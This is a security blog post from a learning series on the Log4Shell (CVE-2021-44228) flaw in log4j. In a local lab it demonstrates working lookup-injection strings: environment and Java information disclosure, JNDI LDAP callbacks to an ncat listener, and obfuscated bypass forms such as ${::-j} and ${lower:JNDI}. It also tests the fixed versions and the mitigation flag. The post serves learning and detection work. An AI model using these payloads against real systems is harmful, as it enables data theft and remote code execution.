Friday, December 24, 2021

Beginning Log4-Shell - Understanding The Issue/Vulnerability

In this five part series, I'm trying to understand more about the Log4J vulnerability and exploitation, as well as its detection from three different perspectives. These are packet analysis, Snort3 rule creation and Zeek signature and scripting. In this initial post, I am mostly following the write up from cybersecurityworldconference.com.

After downloading a copy of apache-log4j-2.14.1-bin.zip and looking at the files:

┌──(rootđź’€securitynik)-[~/log4j]
└─# unzip -l apache-log4j-2.14.1-bin.zip | more
Archive:  apache-log4j-2.14.1-bin.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2021-03-06 22:10   apache-log4j-2.14.1-bin/
    12534  2021-03-06 22:05   apache-log4j-2.14.1-bin/RELEASE-NOTES.md
    26461  2021-03-06 22:09   apache-log4j-2.14.1-bin/log4j-jul-2.14.1.jar
   206756  2021-03-06 22:08   apache-log4j-2.14.1-bin/log4j-1.2-api-2.14.1.jar
...

Create the file to store my Java code.

┌──(rootđź’€securitynik)-[~/log4j]
└─# touch gDay.java

Writing the first part of the code.

public class gDay {
    public static void main(String ...args)
	{
    	    System.out.println("[*] Hello SecurityNik from main!");
        }
}

Running the code ...

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java
[*] Hello SecurityNik from main!

Extract the files files ...

┌──(rootđź’€securitynik)-[~/log4j]
└─# unzip apache-log4j-2.14.1-bin.zip 
Archive:  apache-log4j-2.14.1-bin.zip
   creating: apache-log4j-2.14.1-bin/
  inflating: apache-log4j-2.14.1-bin/RELEASE-NOTES.md  
  inflating: apache-log4j-2.14.1-bin/log4j-jul-2.14.1.jar  
  inflating: apache-log4j-2.14.1-bin/log4j-1.2-api-2.14.1.jar  
  inflating: apache-log4j-2.14.1-bin/log4j-appserver-2.14.1-javadoc.jar  
  inflating: apache-log4j-2.14.1-bin/NOTICE.txt  
  inflating: apache-log4j-2.14.1-bin/log4j-jul-2.14.1-sources.jar  
...

Copying the two requested files to the location where gDay.java is located.

┌──(rootđź’€securitynik)-[~/log4j]
└─# cp ./apache-log4j-2.14.1-bin/log4j-api-2.14.1.jar ./apache-log4j-2.14.1-bin/log4j-core-2.14.1.jar . -v
'./apache-log4j-2.14.1-bin/log4j-api-2.14.1.jar' -> './log4j-api-2.14.1.jar'
'./apache-log4j-2.14.1-bin/log4j-core-2.14.1.jar' -> './log4j-core-2.14.1.jar'

Looking for the environment variable CLASSPATH

┌──(rootđź’€securitynik)-[~/log4j]
└─# env | grep CLASSPATH

Nothing found. Exporting the two files above into the CLASSPATH environment variable.

┌──(rootđź’€securitynik)-[~/log4j]
└─# export CLASSPATH=log4j-api-2.14.1.jar:log4j-core-2.14.1.jar && env | grep CLASSPATH
CLASSPATH=log4j-api-2.14.1.jar:log4j-core-2.14.1.jar

Reworking the code, to add the logger. It is in this logging framework, that the vulnerability exists.

/* import the logger classes */
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;


/* Declare Public class gDay */
public class gDay {

    static Logger logger = LogManager.getLogger(gDay.class);
    public static void main(String ...args)
    {
        /* Print the string below on the screen */
	System.out.println("[*] Hello SecurityNik from main!");
				
	/* write the contents at arg[0] error out to the console */
	logger.fatal("This is not going to end nice ;-( " + args[0]);
	System.out.println("[*] I'm not a quitter ... Quiting!");
    }
}

Here is what I got when I rerun it.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java "aaaaaaaaaaa"                                                      
[*] Hello SecurityNik from main!
10:45:07.700 [main] FATAL gDay - This is not going to end nice ;-( aaaaaaaaaaa
[*] I'm not a quitter ... Quiting!

Notice the error is reported with my argument "aaaaaaaaaaa". Since the threat actor has control of this argument, i.e. the input,  he or she can manipulate it, to do whatever he or she wishes.

Performing a simple lookup using the format '${...}'

Do note, when I attempted this with double quotes, as in java ./gDay.java "{java:version}", this failed for me. What worked was single quotes - ./gDay.java '{java:version}'. First, instead of using all "aaaaaaaaa", let's replace that with code that will result in an information disclosure vulnerability. 

Grabbing the Java version.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java '${java:version}'
[*] Hello SecurityNik from main!
10:54:40.158 [main] FATAL gDay - This is not going to end nice ;-( Java version 11.0.13
[*] I'm not a quitter ... Quiting!

Now that we can grab the Java version, let's grab some additional Java information, resulting in even more information disclosure.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java 'Java Information : ${java:version} | ${java:runtime}| ${java:vm} | ${java:os} | ${java:locale} | ${java:hw}'
[*] Hello SecurityNik from main!
11:26:11.456 [main] FATAL gDay - This is not going to end nice ;-( Java Information : Java version 11.0.13 | OpenJDK Runtime Environment (build 11.0.13+8-post-Debian-1) from Debian| OpenJDK 64-Bit Server VM (build 11.0.13+8-post-Debian-1, mixed mode, sharing) | Linux 5.14.0-kali4-amd64 unknown, architecture: amd64-64 | default locale: en_US, platform encoding: UTF-8 | processors: 2, architecture: amd64-64
[*] I'm not a quitter ... Quiting!

Grabbing the user, it's UID and GID from the environment variables. Do keep in mind, sometimes environment variables are used to store credential information. Therefore, if a threat actor can get to those variables, he or she might be able to gain credential information.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java 'Current User is: ${env:USER}|${env:SUDO_UID}|${env:SUDO_GID}'
[*] Hello SecurityNik from main!
11:06:57.606 [main] FATAL gDay - This is not going to end nice ;-( Current User is: root|1000|1000
[*] I'm not a quitter ... Quiting!

Learning more about the Java Naming and Directory Interface (JNDI) and the lookup command. 

Starting up my ncat listener.

┌──(rootđź’€securitynik)-[~]
└─# ncat --nodns --verbose --verbose --listen 192.168.56.102 443 --exec "/usr/bin/echo -- Welcome to SecurityNik World - [$USER]"
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on 192.168.56.102:443

Note, while in the guide I'm following the NCAT_REMOTE_PORT was used and based on my understanding from the ncat command execution guide "Whatever the exec mode, Ncat sets environment variables in the spawned program's environment that describe the connection.". However, I did not see any of those variables. If you are reading this and know what I did wrong, please let me know. However, here is how I attempted to figure out the environment variables available to the ncat process.

First get the process ID for the running ncat.

┌──(rootđź’€securitynik)-[~/log4j]
└─# ps -u | grep ncat
root        9332  0.0  0.1   8080  2252 pts/1    S+   13:43   0:00 ncat --nodns --verbose --verbose --listen 192.168.56.102 443 --exec /usr/bin/echo -- Welcome to SecurityNik World - [root]

We can see above, it already has root in the brackets, whereas above I specified $USER

With the process ID, I then looked at the /proc file system.

┌──(rootđź’€securitynik)-[~/log4j]
└─# strings /proc/9332/environ 
SHELL=/usr/bin/zsh
COLORTERM=truecolor
SUDO_GID=1000
LANGUAGE=
LESS_TERMCAP_se=
LESS_TERMCAP_so=
[01;33m
SUDO_COMMAND=/usr/bin/zsh
SUDO_USER=kali
PWD=/root
LOGNAME=root
XAUTHORITY=/home/kali/.Xauthority
HOME=/root
LANG=en_US.UTF-8
LS_COLORS=rs=0:di=01;...
TERM=xterm-256color
LESS_TERMCAP_mb=
[1;31m
LESS_TERMCAP_me=
LESS_TERMCAP_md=
[1;36m
USER=root
DISPLAY=:0.0
LESS_TERMCAP_ue=
SHLVL=2
LESS_TERMCAP_us=
[1;32m
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/root/.dotnet/tools
SUDO_UID=1000
MAIL=/var/mail/root
OLDPWD=/root
_=/usr/bin/ncat

As can be seen above, there are no environment variables for ncat other than _=/usr/bin/ncat. If you can see what I missed, please let me know.

Connecting the client application taking advantage of the JNDI lookup.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java '${jndi:ldap://192.168.56.102:443/Testing}'
[*] Hello SecurityNik from main!
13:50:15.356 [main] FATAL gDay - This is not going to end nice ;-( ${jndi:ldap://192.168.56.102:443/Testing}
[*] I'm not a quitter ... Quiting!

From above, it looks like nothing was achieved.

Looking at the ncat output.

Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45312.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]

Confirming this was sent from the ncat listener to the other side of the connection.

┌──(rootđź’€securitynik)-[~]
└─# tcpdump -nnti any port 443 -A
lo    In  IP 192.168.56.102.45312 > 192.168.56.102.443: Flags [S], seq 3283239103, win 65495, options [mss 65495,sackOK,TS val 3367923743 ecr 0,nop,wscale 7], length 0
E..<..@.@.....8f..8f......@..........K.........
..p.........
lo    In  IP 192.168.56.102.443 > 192.168.56.102.45312: Flags [S.], seq 2200536479, ack 3283239104, win 65483, options [mss 65495,sackOK,TS val 3367923743 ecr 3367923743,nop,wscale 7], length 0
E..<..@.@.H...8f..8f.....)....@......K.........
..p...p.....
lo    In  IP 192.168.56.102.45312 > 192.168.56.102.443: Flags [.], ack 1, win 512, options [nop,nop,TS val 3367923743 ecr 3367923743], length 0
E..4..@.@.....8f..8f......@..).......C.....
..p...p.
lo    In  IP 192.168.56.102.45312 > 192.168.56.102.443: Flags [P.], seq 1:15, ack 1, win 512, options [nop,nop,TS val 3367923745 ecr 3367923743], length 14
E..B..@.@.....8f..8f......@..).......Q.....
..p!..p.0....`........
lo    In  IP 192.168.56.102.443 > 192.168.56.102.45312: Flags [.], ack 15, win 512, options [nop,nop,TS val 3367923745 ecr 3367923745], length 0
E..4..@.@.....8f..8f.....)....@......C.....
..p!..p!
lo    In  IP 192.168.56.102.443 > 192.168.56.102.45312: Flags [P.], seq 1:42, ack 15, win 512, options [nop,nop,TS val 3367923750 ecr 3367923745], length 41
E..].   @.@..t..8f..8f.....)....@......l.....
..p&..p!-- Welcome to SecurityNik World - [root]
...

Leveraging the new version of the two libraries to see if the behavior is different in 2.16.0, than what we saw 2.14.1. Note, just after completing this post, it was reported that there are vulnerabilities in 2.16.0 also. Thus it is recommended (at the time of this writing) to move to 2.17.0.

First unsetting the existing CLASSPATH environment variable.

┌──(rootđź’€securitynik)-[~/log4j]
└─# echo $CLASSPATH
log4j-api-2.14.1.jar:log4j-core-2.14.1.jar

┌──(rootđź’€securitynik)-[~/log4j]
└─# unset CLASSPATH

┌──(rootđź’€securitynik)-[~/log4j]
└─# echo $CLASSPATH

Copy the two files to the current location.

┌──(rootđź’€securitynik)-[~/log4j]
└─# cp apache-log4j-2.16.0-bin/log4j-api-2.16.0.jar apache-log4j-2.16.0-bin/log4j-core-2.16.0.jar .

Set the new CLASSPATH environment variable to point to 2.16.0 classes.

┌──(rootđź’€securitynik)-[~/log4j]
└─# export CLASSPATH=log4j-api-2.16.0.jar:log4j-core-2.16.0.jar && env | grep CLASSPATH
CLASSPATH=log4j-api-2.16.0.jar:log4j-core-2.16.0.jar

Setup my ncat listener again.

┌──(rootđź’€securitynik)-[~/log4j]
└─# ncat --nodns --verbose --verbose --listen 192.168.56.102 443 --exec "/usr/bin/echo -- Welcome to SecurityNik World - [$USER]"
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on 192.168.56.102:443

Executing my Java code.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java '${jndi:ldap://192.168.56.102:443/Testing}'
[*] Hello SecurityNik from main!
14:41:34.307 [main] FATAL gDay - This is not going to end nice ;-( ${jndi:ldap://192.168.56.102:443/Testing}
[*] I'm not a quitter ... Quiting!

Absolutely nothing occurred this time at the ncat listener. It is just the same as above. Guess 2.16 lookup actually resolved the issue with this.

Similarly, when I tried to extract Java information like I did previously, nothing was returned.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java '${java:os}'
[*] Hello SecurityNik from main!
14:46:18.086 [main] FATAL gDay - This is not going to end nice ;-( ${java:os}
[*] I'm not a quitter ... Quiting!

Similarly, I was able to validate that using the 2.14.1 version and the command line option -Dlog4j2.formatMsgNoLookups=true does prevent me from getting os version information.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java -Dlog4j2.formatMsgNoLookups=true ./gDay.java '${java:os}'                                                                                               
[*] Hello SecurityNik from main!
14:49:20.955 [main] FATAL gDay - This is not going to end nice ;-( ${java:os}
[*] I'm not a quitter ... Quiting!

Learning some of the ways to bypass the filtering which are currently being implemented by some vendors.

First up, one of the first obfuscation techniques I saw in payload from environments we monitor was seen using the ":-" notation as in ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://xxxxxxx.xxx/z}. Running this in my lab against my ncat listener.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java '${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://192.168.56.102:443/SecurityNikTesting}'
[*] Hello SecurityNik from main!
09:57:06.557 [main] FATAL gDay - This is not going to end nice ;-( ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://192.168.56.102:443/SecurityNikTesting}
[*] I'm not a quitter ... Quiting!

Got a lot of connections. This is definitely noisy.

Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45370.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45372.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45376.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45378.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45380.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45382.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45384.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45386.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45388.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]

Attempting to grab information on the OS using uppercase letters fails.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java '${java:OS}'
[*] Hello SecurityNik from main!
[*] I'm not a quitter ... Quiting!

Using the lower functions, does return results.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java '${java:${lower:OS}}'
[*] Hello SecurityNik from main!
10:11:15.865 [main] FATAL gDay - This is not going to end nice ;-( Linux 5.14.0-kali4-amd64 unknown, architecture: amd64-64
[*] I'm not a quitter ... Quiting!

Trying one more by building on and extending the above.

┌──(rootđź’€securitynik)-[~/log4j]
└─# java ./gDay.java '${java:${lower:OS}}:${${lower:JNDI}:ldap://192.168.56.102:443/testing}'
[*] Hello SecurityNik from main!
10:13:37.756 [main] FATAL gDay - This is not going to end nice ;-( Linux 5.14.0-kali4-amd64 unknown, architecture: amd64-64:${${lower:JNDI}:ldap://192.168.56.102:443/testing}
[*] I'm not a quitter ... Quiting!

Still resulted in the host performing the lookup.

Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45434.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45436.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Ncat: Connection from 192.168.56.102.
Ncat: Connection from 192.168.56.102:45438.
NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]

Now that I have an understanding of the problem and the solution, time to learn even more.

As previously mentioned, prior to me finishing this post, it was reported that 2.16 is vulnerable to RCE and thus organizations should be moving to 2.17. Looks like it is going to be a while before Log4J gets this right.

Posts in this series:
Learning by practicing: Beginning Log4-Shell - Understanding The Issue/Vulnerability (securitynik.com)
Learning by practicing: Continuing Log4Shell - Understanding/Testing The Exploit (securitynik.com)
Learning by practicing: Continuing Log4-Shell - Packet Analysis - Detection (securitynik.com)
Learning by practicing: Continuing Log4Shell - Snort3 Rule - Detection (securitynik.com)
Learning by practicing: Continuing Log4Shell - Zeek - Detection (securitynik.com)


References:
Log4Shell explained – how it works, why you need to know, and how to fix it – My Blog (cybersecurityworldconference.com)
https://web.archive.org/web/20211215214929/https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
https://github.com/mergebase/log4j-detector
https://github.com/giterlizzi/nmap-log4shell
https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/2.14.1
https://logging.apache.org/log4j/2.x/download.html
https://gist.github.com/larshaendler/5a7de04f8cfcae8300c2b27bf54fcc92
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://archive.apache.org/dist/logging/log4j/
https://www.educba.com/what-is-public-in-java/
https://logging.apache.org/log4j/2.x/
https://www.tutorialspoint.com/log4j/log4j_logging_levels.htm
https://ma.ttias.be/show-the-environment-variables-of-a-running-process-in-linux/
https://nmap.org/ncat/guide/ncat-exec.html
https://community.ibm.com/community/user/security/blogs/adam-frank/2021/12/13/detection-of-log4shell-using-qradar
https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/
https://www.lunasec.io/docs/blog/log4shell-live-patch-technical/
https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/
https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words
https://logging.apache.org/log4j/2.x/manual/lookups.html
https://logging.apache.org/log4j/2.x/log4j-users-guide.pdf
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105
Lesson: Overview of JNDI (The Java™ Tutorials > Java Naming and Directory Interface) (oracle.com)


No comments:

Post a Comment